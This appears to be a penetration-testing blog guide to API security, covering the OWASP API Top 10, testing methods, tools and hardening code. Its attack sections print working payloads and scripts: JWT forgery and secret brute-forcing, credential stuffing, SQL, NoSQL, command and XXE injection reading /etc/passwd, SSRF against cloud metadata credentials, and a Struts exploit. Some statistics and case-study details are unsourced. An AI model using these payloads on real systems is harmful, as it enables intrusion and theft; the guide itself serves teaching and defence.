API Security Testing: Complete Guide for Pentesters [2026]
Meta Description: Master API security testing in 2026. Learn OWASP API Top 10, testing methodologies, JWT attacks, BOLA vulnerabilities, and tools like Burp Suite, Postman & ZAP.
Introduction: What is API Security Testing?
API security testing is the process of identifying vulnerabilities, misconfigurations, and security flaws in Application Programming Interfaces (APIs) before malicious actors can exploit them. As we enter 2026, APIs have become the backbone of modern software architecture—powering mobile apps, microservices, IoT devices, and cloud infrastructure. With over 80% of web traffic now API-driven, securing these endpoints is no longer optional.
In this comprehensive guide, you'll learn how to secure APIs, perform API penetration testing, and identify critical vulnerabilities that could expose sensitive data, enable unauthorized access, or disrupt business operations. Whether you're testing REST APIs, GraphQL endpoints, or SOAP services, this guide covers the complete methodology used by professional penetration testers in 2026.
Why API Security Matters in 2026
Recent data breaches at major corporations have one thing in common: insecure APIs. From unauthorized access to customer databases to complete account takeovers, API vulnerabilities continue to be a top attack vector. Consider these statistics:
- 94% of organizations experienced API security incidents in 2025
- APIs are 3x more vulnerable to authentication flaws than traditional web apps
- BOLA (Broken Object Level Authorization) remains the #1 API vulnerability for the fifth consecutive year
- GraphQL APIs saw a 215% increase in exploitation attempts in 2025
The question isn't whether your APIs will be targeted—it's whether you'll find the vulnerabilities first.
OWASP API Security Top 10 (2023 Edition)
The OWASP API Security Top 10 is the gold standard for understanding API-specific risks. Here's the 2023 list that remains critical in 2026:
API1:2023 - Broken Object Level Authorization (BOLA)
The most common API vulnerability. Attackers manipulate object IDs to access resources belonging to other users.
Example: Changing /api/users/123/orders to /api/users/124/orders returns another user's order history.
API2:2023 - Broken Authentication
Flawed authentication mechanisms allow attackers to assume other users' identities. Common issues include weak JWT implementations, missing token expiration, and credential stuffing.
API3:2023 - Broken Object Property Level Authorization
Similar to BOLA but focuses on object properties. APIs return or accept more data than intended, leading to mass assignment or excessive data exposure.
API4:2023 - Unrestricted Resource Consumption
Lack of rate limiting allows attackers to perform DoS attacks, credential brute-forcing, or resource exhaustion.
API5:2023 - Broken Function Level Authorization
Missing authorization checks on administrative or privileged functions. An attacker with regular user credentials can access admin endpoints.
Example: A standard user accessing POST /api/admin/users successfully creates admin accounts.
API6:2023 - Unrestricted Access to Sensitive Business Flows
APIs expose business workflows without proper controls, enabling abuse like automated ticket purchasing, review manipulation, or inventory hoarding.
API7:2023 - Server-Side Request Forgery (SSRF)
API endpoints accept URLs without validation, allowing attackers to make requests to internal systems, cloud metadata endpoints, or arbitrary external services.
API8:2023 - Security Misconfiguration
Default configurations, verbose error messages, missing security headers, and unpatched systems create easy attack vectors.
API9:2023 - Improper Inventory Management
Undocumented APIs, deprecated endpoints, and shadow APIs exist in production without security oversight.
API10:2023 - Unsafe Consumption of APIs
Trusting data from third-party APIs without validation can lead to injection attacks, data poisoning, or compromise through the supply chain.
API Security Testing Methodology
Professional API penetration testing follows a structured approach. Here's the complete methodology for 2026:
1. Reconnaissance and API Discovery
Objective: Identify all API endpoints, versions, and documentation.
Techniques:
- DNS enumeration: Find API subdomains
- Content discovery: Bruteforce common API paths
- JavaScript analysis: Extract API endpoints from frontend code
- Mobile app decompilation: Reverse engineer API calls
- Documentation crawling: Find Swagger/OpenAPI specs
Practical Example - Finding Hidden APIs:
# Subdomain enumeration
subfinder -d target.com | grep -i api
# Common API path discovery
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/api-endpoints.txt
# Extract APIs from JavaScript
cat app.js | grep -Eo "https?://[a-zA-Z0-9./?=_-]*api[a-zA-Z0-9./?=_-]*"
# Find Swagger documentation
curl https://api.target.com/swagger.json
curl https://api.target.com/api-docs
curl https://api.target.com/v1/docs
Finding API Versions:
# Test multiple API versions
curl https://api.target.com/v1/users
curl https://api.target.com/v2/users
curl https://api.target.com/api/v3/users
# Check for deprecated but active versions
for v in {1..10}; do
curl -s -o /dev/null -w "%{http_code}" https://api.target.com/v$v/health
done
2. Endpoint Enumeration
Objective: Map all available endpoints, methods, and parameters.
HTTP Methods Testing:
# Test all HTTP methods on an endpoint
for method in GET POST PUT DELETE PATCH OPTIONS HEAD; do
echo "Testing $method:"
curl -X $method https://api.target.com/users/123 -H "Authorization: Bearer TOKEN"
done
Parameter Discovery:
# Test for hidden parameters using param miner
curl -X POST https://api.target.com/users \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"pass","admin":true,"role":"admin","is_verified":true}'
3. Authentication and Authorization Testing
Objective: Test authentication mechanisms and authorization controls.
JWT Security Testing:
Common JWT Vulnerabilities:
- Algorithm Confusion (alg: none)
- Weak signing keys
- Missing signature verification
- Token expiration not enforced
- Sensitive data in payload
Practical JWT Attack Examples:
# Example 1: JWT Algorithm Confusion Attack
import jwt
import base64
import json
# Original JWT header: {"alg": "HS256", "typ": "JWT"}
# Modified header: {"alg": "none", "typ": "JWT"}
payload = {"user_id": 123, "role": "admin"}
# Create unsigned JWT
header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').decode().rstrip('=')
body = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
malicious_jwt = f"{header}.{body}."
print(f"Malicious JWT: {malicious_jwt}")
Testing JWT with curl:
# Extract JWT components
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIn0.xyz"
# Decode payload
echo $JWT | cut -d. -f2 | base64 -d | jq
# Test expired token
curl https://api.target.com/profile \
-H "Authorization: Bearer EXPIRED_TOKEN"
# Test with no signature
curl https://api.target.com/profile \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxfQ."
OAuth 2.0 Testing:
# Test authorization code reuse
curl -X POST https://api.target.com/oauth/token \
-d "code=USED_AUTH_CODE&client_id=CLIENT&grant_type=authorization_code"
# Test for open redirect in redirect_uri
https://api.target.com/oauth/authorize?
client_id=CLIENT&
redirect_uri=https://evil.com&
response_type=code
4. Input Validation and Injection Testing
Objective: Identify injection vulnerabilities in API parameters.
SQL Injection in APIs:
# Test JSON parameter for SQLi
curl -X POST https://api.target.com/search \
-H "Content-Type: application/json" \
-d '{"query": "test\" OR 1=1-- -"}'
# Time-based blind SQLi
curl -X GET "https://api.target.com/users?id=1' AND SLEEP(5)-- -"
NoSQL Injection:
# MongoDB injection via JSON
curl -X POST https://api.target.com/login \
-H "Content-Type: application/json" \
-d '{
"username": {"$ne": null},
"password": {"$ne": null}
}'
# NoSQL injection in query params
curl "https://api.target.com/users?filter[$regex]=.*admin.*"
Command Injection:
# Test command injection in file processing APIs
curl -X POST https://api.target.com/convert \
-H "Content-Type: application/json" \
-d '{
"filename": "test.pdf; whoami"
}'
XML External Entity (XXE):
# XXE in XML APIs
curl -X POST https://api.target.com/upload \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<userInfo>
<name>&xxe;</name>
</userInfo>'
5. Rate Limiting and Abuse Testing
Objective: Test for missing or bypassable rate limits.
# Bruteforce without rate limiting
for i in {1..1000}; do
curl -X POST https://api.target.com/login \
-d '{"username":"admin","password":"pass'$i'"}' &
done
# Test rate limit bypass techniques
# 1. Change IP via X-Forwarded-For
curl https://api.target.com/endpoint \
-H "X-Forwarded-For: 1.2.3.$RANDOM"
# 2. Change User-Agent
curl https://api.target.com/endpoint \
-H "User-Agent: Mozilla/5.0 (Random-Client-$RANDOM)"
# 3. Rotate authentication tokens
curl https://api.target.com/endpoint \
-H "Authorization: Bearer TOKEN_$i"
6. Business Logic Testing
Objective: Find flaws in application workflows and business rules.
Examples:
# Test negative pricing
curl -X POST https://api.target.com/cart/add \
-d '{"product_id": 123, "quantity": -5}'
# Test integer overflow
curl -X POST https://api.target.com/transfer \
-d '{"amount": 999999999999999999}'
# Race condition in payment
for i in {1..10}; do
curl -X POST https://api.target.com/purchase \
-d '{"product_id": 123}' &
done
Common API Vulnerabilities (with Examples)
1. Broken Authentication - JWT Attacks
Vulnerability: Weak JWT implementation allows token forgery.
Real-World Example:
import jwt
import requests
# Scenario: API uses weak secret key
weak_secrets = ['secret', 'password', '12345', 'jwt_secret', 'api_key']
original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# Decode without verification to see payload
payload = jwt.decode(original_token, options={"verify_signature": False})
print(f"Original payload: {payload}")
# Try to forge admin token with weak secrets
payload['role'] = 'admin'
payload['user_id'] = 1
for secret in weak_secrets:
try:
forged_token = jwt.encode(payload, secret, algorithm='HS256')
# Test forged token
response = requests.get(
'https://api.target.com/admin/users',
headers={'Authorization': f'Bearer {forged_token}'}
)
if response.status_code == 200:
print(f"✓ Success! Weak secret found: {secret}")
print(f"Admin access gained with forged token")
break
except:
continue
Impact: Complete account takeover, privilege escalation to admin.
2. Excessive Data Exposure
Vulnerability: API returns more data than necessary in responses.
Example:
# Request returns sensitive fields not shown in UI
curl https://api.target.com/users/123 \
-H "Authorization: Bearer USER_TOKEN"
# Response includes sensitive data:
{
"id": 123,
"username": "john_doe",
"email": "john@example.com",
"ssn": "123-45-6789", # Should not be exposed
"password_hash": "$2b$10$...", # Should never be exposed
"api_key": "sk_live_xxx", # Should not be exposed
"role": "user"
}
Testing Script:
import requests
import json
def test_excessive_data_exposure(api_url, token):
# Check for sensitive data in API responses
sensitive_keywords = [
'password', 'ssn', 'api_key', 'secret', 'token',
'credit_card', 'cvv', 'private_key', 'hash'
]
response = requests.get(
api_url,
headers={'Authorization': f'Bearer {token}'}
)
response_text = response.text.lower()
found_issues = []
for keyword in sensitive_keywords:
if keyword in response_text:
found_issues.append(keyword)
if found_issues:
print(f"Warning: Excessive data exposure found!")
print(f"Sensitive fields in response: {', '.join(found_issues)}")
return found_issues
# Usage
test_excessive_data_exposure('https://api.target.com/users/me', 'user_token')
3. Lack of Rate Limiting
Vulnerability: No throttling on authentication or resource-intensive endpoints.
Exploitation:
import requests
import concurrent.futures
import time
def credential_stuffing_attack(api_url, credentials_list):
# Test for rate limiting on login endpoint
def try_login(creds):
username, password = creds
response = requests.post(
f'{api_url}/login',
json={'username': username, 'password': password},
timeout=5
)
return response.status_code, username
start_time = time.time()
# Concurrent requests to test rate limiting
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
results = list(executor.map(try_login, credentials_list))
elapsed = time.time() - start_time
successful_attempts = len([r for r in results if r[0] in [200, 201]])
print(f"Sent {len(credentials_list)} requests in {elapsed:.2f} seconds")
print(f"Success rate: {successful_attempts}/{len(credentials_list)}")
if len(credentials_list) > 100 and elapsed < 10:
print("Warning: No rate limiting detected! API is vulnerable to brute force.")
return results
# Test with credential list
credentials = [('admin', f'pass{i}') for i in range(1000)]
credential_stuffing_attack('https://api.target.com', credentials)
4. BOLA (Broken Object Level Authorization)
Vulnerability: Users can access objects belonging to others by manipulating IDs.
Testing Methodology:
import requests
def test_bola_vulnerability(api_url, user_token, test_range):
# Test for BOLA by accessing different user IDs
vulnerable_endpoints = []
for user_id in range(1, test_range):
# Try accessing other users' resources
endpoints = [
f'/api/users/{user_id}',
f'/api/users/{user_id}/orders',
f'/api/users/{user_id}/profile',
f'/api/accounts/{user_id}',
f'/api/documents/{user_id}'
]
for endpoint in endpoints:
response = requests.get(
f'{api_url}{endpoint}',
headers={'Authorization': f'Bearer {user_token}'}
)
if response.status_code == 200:
print(f"Warning: BOLA found at {endpoint}")
print(f"User {user_id} data accessible without authorization")
vulnerable_endpoints.append(endpoint)
return vulnerable_endpoints
# Test BOLA
test_bola_vulnerability('https://api.target.com', 'user_token', 100)
Real-World cURL Test:
# User A's token trying to access User B's data
curl https://api.target.com/users/456/orders \
-H "Authorization: Bearer USER_A_TOKEN"
# If returns User B's orders → BOLA vulnerability confirmed
5. Mass Assignment
Vulnerability: API accepts and processes unexpected object properties.
Example:
# Normal user registration
curl -X POST https://api.target.com/register \
-H "Content-Type: application/json" \
-d '{
"username": "newuser",
"email": "user@example.com",
"password": "SecurePass123"
}'
# Mass assignment attack - inject admin fields
curl -X POST https://api.target.com/register \
-H "Content-Type: application/json" \
-d '{
"username": "attacker",
"email": "evil@example.com",
"password": "password",
"role": "admin", # Should be filtered
"is_verified": true, # Should be filtered
"credits": 999999 # Should be filtered
}'
# If account created with admin role → Mass Assignment vulnerability
Automated Testing:
import requests
def test_mass_assignment(api_url, endpoint, base_payload):
# Test for mass assignment vulnerabilities
# Dangerous fields to test
injection_fields = {
'role': 'admin',
'is_admin': True,
'is_verified': True,
'credits': 999999,
'subscription': 'premium',
'permissions': ['*'],
'user_type': 'admin'
}
results = []
for field, value in injection_fields.items():
test_payload = base_payload.copy()
test_payload[field] = value
response = requests.post(
f'{api_url}{endpoint}',
json=test_payload
)
if response.status_code in [200, 201]:
# Check if injected field persisted
if field in response.text:
print(f"Warning: Mass assignment: '{field}' accepted and processed")
results.append(field)
return results
# Test user registration endpoint
base_payload = {
'username': 'testuser',
'email': 'test@example.com',
'password': 'Password123'
}
test_mass_assignment('https://api.target.com', '/register', base_payload)
6. SSRF (Server-Side Request Forgery) in APIs
Vulnerability: API accepts URLs and makes requests without validation.
Example Scenarios:
# 1. Cloud metadata exploitation (AWS)
curl -X POST https://api.target.com/fetch-image \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"}'
# 2. Internal network scanning
curl -X POST https://api.target.com/webhook \
-d '{"callback_url": "http://192.168.1.1:22"}'
# 3. Reading local files (file:// protocol)
curl -X POST https://api.target.com/import \
-d '{"source": "file:///etc/passwd"}'
# 4. Port scanning via timing
for port in {1..1000}; do
echo "Testing port $port"
time curl -X POST https://api.target.com/fetch \
-d "{\"url\": \"http://internal-service:$port\"}"
done
Advanced SSRF Testing:
import requests
import time
def test_ssrf_vulnerability(api_url, parameter_name):
# Test for SSRF in URL-accepting parameters
payloads = [
# Cloud metadata
'http://169.254.169.254/latest/meta-data/',
'http://metadata.google.internal/computeMetadata/v1/',
# Internal services
'http://localhost:80',
'http://127.0.0.1:22',
'http://0.0.0.0:3306',
# File protocol
'file:///etc/passwd',
'file:///c:/windows/win.ini',
# DNS rebinding
'http://ssrf.test.internal'
]
vulnerable = []
for payload in payloads:
try:
start_time = time.time()
response = requests.post(
api_url,
json={parameter_name: payload},
timeout=10
)
elapsed = time.time() - start_time
if response.status_code == 200 or elapsed > 5:
print(f"Warning: Potential SSRF with payload: {payload}")
print(f"Response time: {elapsed:.2f}s")
vulnerable.append(payload)
except requests.Timeout:
print(f"Warning: Timeout with payload: {payload} - possible SSRF")
vulnerable.append(payload)
except Exception as e:
continue
return vulnerable
# Test
test_ssrf_vulnerability('https://api.target.com/proxy', 'target_url')
API Security Testing Tools
Here's a comprehensive comparison of the best tools for API security testing in 2026:
| Tool | Type | Best For | Platform | Cost |
|---|---|---|---|---|
| Burp Suite Professional | Proxy/Scanner | Comprehensive API pentesting | Windows/Mac/Linux | $449/year |
| OWASP ZAP | Proxy/Scanner | Automated scanning & fuzzing | Cross-platform | Free |
| Postman | API Client | Manual testing & automation | Cross-platform | Free/Paid |
| Nuclei | Scanner | Fast vulnerability detection | CLI (Go) | Free |
| FFUF | Fuzzer | Endpoint & parameter discovery | CLI | Free |
| JWT_Tool | JWT Analyzer | JWT security testing | Python | Free |
| Arjun | Parameter Discovery | Hidden parameter enumeration | Python | Free |
| Kiterunner | API Discovery | Content discovery & fuzzing | CLI (Go) | Free |
| Autorize | Burp Extension | Authorization testing | Burp Plugin | Free |
| APIFuzzer | Fuzzer | OpenAPI specification fuzzing | Python | Free |
| Mitmproxy | Proxy | Scriptable interception | Python | Free |
| GraphQL Voyager | GraphQL Tool | GraphQL schema visualization | Web/CLI | Free |
| InQL | Burp Extension | GraphQL introspection & testing | Burp Plugin | Free |
| RestLer | Fuzzer | REST API stateful fuzzing | CLI (Python) | Free (Microsoft) |
| Astra | Scanner | Automated API security testing | SaaS | Paid |
Recommended Tool Chain for 2026
Phase 1: Discovery
# Subdomain enumeration
subfinder -d target.com | httpx -title -tech-detect
# API endpoint discovery
kiterunner scan https://api.target.com -w routes.kite
# Parameter discovery
arjun -u https://api.target.com/endpoint
Phase 2: Manual Testing
# Intercept with Burp Suite
# Configure Postman collections for baseline testing
# Use Autorize extension for authorization testing
Phase 3: Automated Scanning
# OWASP ZAP automated scan
zap-cli quick-scan --self-contained https://api.target.com
# Nuclei vulnerability scanning
nuclei -u https://api.target.com -t ~/nuclei-templates/
# Custom fuzzing
ffuf -u https://api.target.com/FUZZ -w wordlist.txt -mc 200,201,301,302
Phase 4: Specialized Testing
# JWT testing
jwt_tool TOKEN -C -d dictionary.txt
# GraphQL introspection
graphql-voyager https://api.target.com/graphql
Setting Up Your API Testing Lab
# Install essential tools
sudo apt update && sudo apt install -y \
burpsuite \
zaproxy \
python3 \
golang \
jq \
curl
# Install Go tools
go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install github.com/assetnote/kiterunner@latest
go install github.com/ffuf/ffuf@latest
# Install Python tools
pip3 install arjun jwt-tool requests aiohttp
# Clone useful repositories
git clone https://github.com/projectdiscovery/nuclei-templates.git
git clone https://github.com/danielmiessler/SecLists.git
Additional tools available at andraxpentester.in/tools for specialized API testing scenarios.
How to Secure APIs: Best Practices
1. Implement Strong Authentication
✅ Use industry-standard protocols: OAuth 2.0, OpenID Connect
✅ Enforce JWT best practices:
- Use strong signing algorithms (RS256, ES256)
- Implement proper token expiration (15-30 min for access tokens)
- Validate
aud,iss, andexpclaims - Never store sensitive data in JWT payload
# Secure JWT implementation example
import jwt
from datetime import datetime, timedelta
def generate_secure_jwt(user_id, role):
payload = {
'user_id': user_id,
'role': role,
'iat': datetime.utcnow(),
'exp': datetime.utcnow() + timedelta(minutes=15),
'iss': 'api.yourcompany.com',
'aud': 'yourcompany-api'
}
# Use RS256 with private key (not HS256 with shared secret)
with open('private_key.pem', 'r') as f:
private_key = f.read()
token = jwt.encode(payload, private_key, algorithm='RS256')
return token
2. Enforce Strict Authorization
✅ Implement object-level authorization checks
✅ Validate user permissions on every request
✅ Use UUIDs instead of sequential IDs
# BOLA prevention example
from flask import Flask, request, jsonify
import uuid
def check_authorization(user_id, resource_id):
# Verify user owns the requested resource
resource = db.get_resource(resource_id)
if not resource:
return False, "Resource not found"
if resource.owner_id != user_id:
# Log unauthorized access attempt
security_log.warning(f"User {user_id} attempted to access resource {resource_id}")
return False, "Unauthorized access"
return True, resource
@app.route('/api/orders/<order_id>')
def get_order(order_id):
current_user_id = get_user_from_token(request.headers.get('Authorization'))
authorized, result = check_authorization(current_user_id, order_id)
if not authorized:
return jsonify({'error': result}), 403
return jsonify(result)
3. Implement Rate Limiting
✅ Apply rate limits on all endpoints
✅ Use multiple rate limiting strategies:
- Per-IP rate limiting
- Per-user rate limiting (authenticated)
- Per-endpoint rate limiting
- Distributed rate limiting (Redis)
# Rate limiting implementation with Flask-Limiter
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"],
storage_uri="redis://localhost:6379"
)
@app.route("/api/login", methods=["POST"])
@limiter.limit("5 per minute") # Stricter limit for auth endpoints
def login():
# Login logic
pass
@app.route("/api/data")
@limiter.limit("100 per minute")
def get_data():
# Data retrieval logic
pass
4. Validate and Sanitize All Input
✅ Use schema validation (JSON Schema, Pydantic)
✅ Whitelist allowed values
✅ Sanitize output to prevent XSS
# Input validation with Pydantic
from pydantic import BaseModel, EmailStr, validator
from typing import Optional
class UserCreateRequest(BaseModel):
username: str
email: EmailStr
age: int
role: Optional[str] = "user"
@validator('username')
def username_alphanumeric(cls, v):
assert v.isalnum(), 'must be alphanumeric'
assert len(v) >= 3, 'must be at least 3 characters'
return v
@validator('age')
def age_range(cls, v):
assert 13 <= v <= 120, 'age must be between 13 and 120'
return v
@validator('role')
def role_whitelist(cls, v):
allowed_roles = ['user', 'moderator'] # Never allow 'admin' via API
assert v in allowed_roles, f'role must be one of {allowed_roles}'
return v
@app.route('/api/users', methods=['POST'])
def create_user():
try:
user_data = UserCreateRequest(**request.json)
# Proceed with validated data
except ValidationError as e:
return jsonify({'errors': e.errors()}), 400
5. Use HTTPS Everywhere
✅ Enforce TLS 1.3
✅ Implement HSTS headers
✅ Use certificate pinning for mobile apps
# Nginx configuration for secure API
server {
listen 443 ssl http2;
server_name api.yourcompany.com;
# TLS configuration
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
ssl_protocols TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512;
# Security headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
# API proxy
location / {
proxy_pass http://localhost:8000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
6. Implement Comprehensive Logging
✅ Log all authentication attempts
✅ Log authorization failures
✅ Monitor for anomalous patterns
✅ Never log sensitive data (passwords, tokens)
# Secure logging implementation
import logging
import json
from datetime import datetime
class SecurityLogger:
def __init__(self):
self.logger = logging.getLogger('api.security')
handler = logging.FileHandler('security.log')
handler.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
self.logger.addHandler(handler)
self.logger.setLevel(logging.INFO)
def log_auth_attempt(self, username, success, ip_address):
self.logger.info(json.dumps({
'event': 'auth_attempt',
'username': username, # Never log password
'success': success,
'ip': ip_address,
'timestamp': datetime.utcnow().isoformat()
}))
def log_authorization_failure(self, user_id, resource, action):
self.logger.warning(json.dumps({
'event': 'authorization_failure',
'user_id': user_id,
'resource': resource,
'action': action,
'timestamp': datetime.utcnow().isoformat()
}))
security_logger = SecurityLogger()
7. API Versioning and Deprecation
✅ Maintain multiple API versions
✅ Clearly communicate deprecation timelines
✅ Monitor usage of deprecated endpoints
# API versioning strategy
from flask import Blueprint
# Version 1 (deprecated but maintained)
api_v1 = Blueprint('api_v1', __name__, url_prefix='/api/v1')
@api_v1.route('/users')
def get_users_v1():
# Include deprecation warning
response = jsonify({'users': [...], 'deprecated': True})
response.headers['X-API-Warn'] = 'This endpoint is deprecated. Use /api/v2/users'
response.headers['X-API-Deprecation-Date'] = '2026-12-31'
return response
# Version 2 (current)
api_v2 = Blueprint('api_v2', __name__, url_prefix='/api/v2')
@api_v2.route('/users')
def get_users_v2():
# New implementation with improved security
return jsonify({'users': [...]})
8. Secure API Documentation
✅ Require authentication to access Swagger/OpenAPI docs
✅ Disable docs in production (or secure behind VPN)
✅ Never expose internal/admin endpoints in docs
Real-World API Security Case Studies
Case Study 1: T-Mobile API Data Breach (2023)
Vulnerability: BOLA in customer data API
Impact: 37 million customer records exposed
What Happened:
An unauthenticated API endpoint /api/v1/customers/{customer_id} was discoverable and lacked proper authorization. Attackers enumerated customer IDs from 1 to 37,000,000, retrieving names, addresses, phone numbers, and account details.
Lessons Learned:
- Never expose sequential IDs in API endpoints
- Implement authentication on ALL endpoints
- Use UUIDs instead of integers for resource identifiers
- Monitor for suspicious enumeration patterns
Prevention Code:
# Use UUIDs and verify ownership
import uuid
@app.route('/api/v1/customers/<customer_uuid>')
@require_authentication
def get_customer(customer_uuid):
current_user = get_current_user()
customer = db.query(Customer).filter_by(uuid=customer_uuid).first()
if not customer:
return jsonify({'error': 'Not found'}), 404
# Verify user owns this customer record
if customer.user_id != current_user.id and not current_user.is_admin:
return jsonify({'error': 'Forbidden'}), 403
return jsonify(customer.to_dict())
Case Study 2: Equifax API Vulnerability (Struts CVE-2017-5638)
Vulnerability: Unpatched Apache Struts in API server
Impact: 147 million consumer records compromised
Attack Vector:
# Simplified version of the exploit
curl -X POST https://api.equifax.com/dispute \
-H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...(#cmd='cat /etc/passwd')...}"
Lessons Learned:
- Keep all dependencies updated (use Dependabot, Snyk)
- Implement Web Application Firewall (WAF)
- Regular vulnerability scanning in CI/CD
- Have an incident response plan
Case Study 3: Peloton API BOLA (2021)
Vulnerability: User profile API exposed data without authorization
Impact: Private workout history, location data, and personal info leaked
Vulnerable Endpoint:
# Any user could access any other user's data
curl https://api.onepeloton.com/api/user/USERNAME/overview
# Response included:
# - Full workout history
# - Heart rate data
# - Location data
# - Friend lists
# - Private groups
Fix Implementation:
@app.route('/api/user/<username>/overview')
@login_required
def user_overview(username):
current_user = get_jwt_identity()
target_user = User.query.filter_by(username=username).first_or_404()
# Check if profile is public or user is authorized
if target_user.profile_private:
if current_user != target_user.id:
# Check if users are friends
if not are_friends(current_user, target_user.id):
return jsonify({'error': 'This profile is private'}), 403
# Filter sensitive data based on privacy settings
overview_data = target_user.get_overview(viewer_id=current_user)
return jsonify(overview_data)
For more security writeups and case studies, visit andraxpentester.in/research.
Related Articles
- Read our OWASP Top 10 Guide for web vulnerability context.
- Learn about SQL Injection — a common API vulnerability.
- Set up your testing environment with our Kali Linux tutorials.
- Check our Penetration Testing Tools Guide for API testing tools.
Frequently Asked Questions (FAQ)
1. What is the difference between API testing and API security testing?
API testing focuses on functionality, performance, and reliability—ensuring the API works as intended. API security testing specifically targets vulnerabilities, misconfigurations, and security flaws that could be exploited by attackers. While functional testing asks "Does it work?", security testing asks "Can it be broken?"
API security testing includes:
- Authentication bypass attempts
- Authorization testing (BOLA, privilege escalation)
- Input validation (injection attacks)
- Business logic flaws
- Rate limiting and abuse scenarios
2. How often should I perform API security testing?
API security should be tested:
- Before deployment: Every new API or endpoint
- Regularly: Quarterly or bi-annual penetration tests
- Continuously: Automated security scanning in CI/CD pipelines
- After changes: Any code changes to authentication, authorization, or data handling
- Incident-driven: After security advisories affecting your tech stack
The modern approach is shift-left security—integrating automated API security tests into your development workflow rather than treating it as a one-time exercise.
3. What is BOLA and why is it the #1 API vulnerability?
BOLA (Broken Object Level Authorization), also known as IDOR (Insecure Direct Object Reference), occurs when an API fails to verify that a user should have access to a specific object. Attackers simply change an object ID (user ID, order ID, etc.) to access other users' data.
It's the #1 vulnerability because:
- Widespread: Present in 90%+ of applications
- Easy to exploit: Requires only changing a number in the URL
- High impact: Direct access to sensitive user data
- Developer oversight: Often missed during code reviews
Example: Your API returns your orders at /api/orders?user_id=123. An attacker changes it to user_id=124 and gets someone else's orders.
4. Can GraphQL APIs be tested with the same tools as REST APIs?
GraphQL requires specialized testing because:
- Single endpoint serves all queries (usually
/graphql) - Introspection reveals entire schema
- Different vulnerability patterns (nested queries, batching attacks)
GraphQL-specific tools:
- InQL (Burp extension): GraphQL introspection and testing
- GraphQL Voyager: Schema visualization
- BatchQL: Batch query attacks
- GraphQL Cop: Security auditing
However, general principles (authentication, authorization, injection) apply to both REST and GraphQL. Learn more in our GraphQL Security Tutorial.
5. What certifications are best for API security professionals?
Top certifications for API security testers in 2026:
- OSWE (Offensive Security Web Expert): Advanced web app pentesting including APIs
- eWPTXv2 (eLearnSecurity Web Penetration Tester eXtreme): Modern API testing coverage
- GWAPT (GIAC Web Application Penetration Tester): Includes API security modules
- Certified API Security Analyst (CASA): API-specific certification from APIsec University
- CPSA (Certified Professional Security Analyst): Covers API security testing
Additionally, consider API-specific training from:
- PortSwigger Web Security Academy (free)
- OWASP API Security Top 10 course
- APIsec University (free API security training)
Conclusion
API security testing is no longer optional in 2026—it's a critical component of every organization's security posture. As APIs continue to power the digital economy, they remain a prime target for attackers seeking to exploit authentication flaws, authorization bypasses, and business logic vulnerabilities.
Key Takeaways
✅ Start with OWASP API Top 10: Understand the most common vulnerabilities
✅ Master BOLA testing: It's still the #1 API vulnerability
✅ Test authentication rigorously: JWT attacks, token manipulation, OAuth flows
✅ Automate where possible: Integrate security testing into CI/CD
✅ Use the right tools: Burp Suite, Postman, Nuclei, and specialized API tools
✅ Think like an attacker: Test business logic, not just technical vulnerabilities
✅ Stay updated: New vulnerabilities emerge constantly
Next Steps for Pentesters
- Set up your lab: Install Burp Suite, OWASP ZAP, Postman, and CLI tools
- Practice on intentionally vulnerable APIs:
- OWASP Juice Shop API
- crAPI (Completely Ridiculous API)
- VAmPI (Vulnerable API)
- Read the docs: OWASP API Security Project, PortSwigger research
- Join bug bounty programs: HackerOne, Bugcrowd (API-heavy targets)
- Contribute: Report vulnerabilities responsibly, share research
Additional Resources
- OWASP API Security Top 10: https://owasp.org/API-Security/
- PortSwigger API Testing Guide: https://portswigger.net/web-security/api-testing
- Postman API Security: https://www.postman.com/api-security/
- AndraxPentester Tutorials: /tutorials
- AndraxPentester Tools: /tools
- Latest Security Research: /research
The API security landscape evolves rapidly, but the fundamentals remain: authenticate strongly, authorize carefully, validate everything, and test relentlessly. Whether you're securing your own APIs or testing others', this guide provides the foundation for professional API security testing in 2026 and beyond.
About the Author: Syed Abrar (Andrax Pentester) is a cybersecurity researcher and penetration tester specializing in API security, web application security, and offensive security techniques. Follow more security research and tutorials at andraxpentester.in.
Last Updated: January 2026
Reading Time: 25 minutes
Difficulty: Intermediate to Advanced
Need professional API security testing for your organization? Contact us through andraxpentester.in for penetration testing services, security audits, and consulting.
